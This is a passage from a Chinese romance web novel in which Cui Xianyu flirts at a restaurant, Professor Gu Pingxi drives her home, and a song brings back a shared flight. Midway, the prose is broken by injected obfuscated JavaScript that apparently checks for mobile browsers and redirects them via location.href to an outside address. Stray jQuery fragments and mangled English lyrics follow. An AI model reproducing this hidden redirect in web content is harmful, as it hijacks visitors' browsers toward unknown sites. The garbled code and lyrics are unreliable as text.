老板娘刚好在算账,脑袋凑了过来,眼神很好奇:“小姑娘,你和顾教授是什么关系啊?”
崔羡鱼笑眯眯道:“男女朋友关系。”
这话说得没毛病,女性朋友也是女朋友。
“我就知道,小顾平时都是一个人来吃,这还是他头一回来小姑娘过来。”
崔羡鱼心头一动,真诚地看向老板娘:“其实我还在追他。顾教授太不好追了,你觉得我有胜算吗?”
老板娘上下打量了她一眼,一脸难以置信:“你长得跟明星似的,这么漂亮,身材也好。小顾是个正常男人,肯定对你一见倾心的呀。加油哦小姑娘,加油把他拿下,阿姨给你们免单!”
崔羡鱼雄纠纠气昂昂地回来了,把一碗冒尖的米饭放到了顾平西面前。顾平西扫了她一眼,对她突然燃起来的士气有些不明所以。
“你去打鸡血了?”
“阿姨夸我像女明星,”她撩了撩头发,眉飞色舞,鼻子要翘到天上去:“长得漂亮,身材也好~”
顾平西闻言,迅速地打量了她一眼,不明所以地冷哼了一声,倒也没有否认。
……
吃完饭,顾平西开车打算送她回去。她报了一个高级公寓的地址,男人瞥了她一眼:“搬家了?”
崔羡鱼这才想起来,这房子是林越的,含糊不清地点点头:“上次你说的嘛,搬到一个安全的地方。这个小区安保特别好。”
这倒是肯定的,全海城数一数二的金贵地段,一个月的租金抵小白领半年的薪水,安保能差到哪儿?顾平西没有多问,输入地址后,开始往目的地走。
从饭店到小区大概要开三十多分钟,但现在已经晚上九点多,晚高峰过去了,一路上都开得很顺利。
俩人没这么说话,吃饱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502127|185838||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
了,心情也宁静下来了,一开始在来的路上那种酸涩难言的气氛也淡了。崔羡鱼问他能不能放歌,他让她自己连蓝牙。
崔羡鱼选了首英文歌。
不一会儿,慵懒的女声响起。
“Youhadalighterwithafadedna
你曾有一个褪色的打火机
Flickedittwicelettheeerswane
打燃了两次,却又任火星熄灭
Said"Ain''''titfunnyhoetsdon''''twait"
你说,彗星从不懂停留,多可笑啊
Likeusybeneveretagain
就像你我这般,或许再也不相见
……”
这是他们最爱的一首歌,在去云南旅行的时候买了夜间的航班,他们共享着一只耳机,在万米高空上,在被浓稠的夜色包裹中,单曲循环。
女声慵懒地唱着离别,而他们当时情意正浓,一边听,一边攥着对方的手指,捏一捏,揉一揉。机舱里关了灯,很多人在睡觉,没有人会注意到他们。崔羡鱼突然扯了扯顾平西的袖子,顾平西毫无防备地看向她,嘴巴便被人冷不丁地袭击了。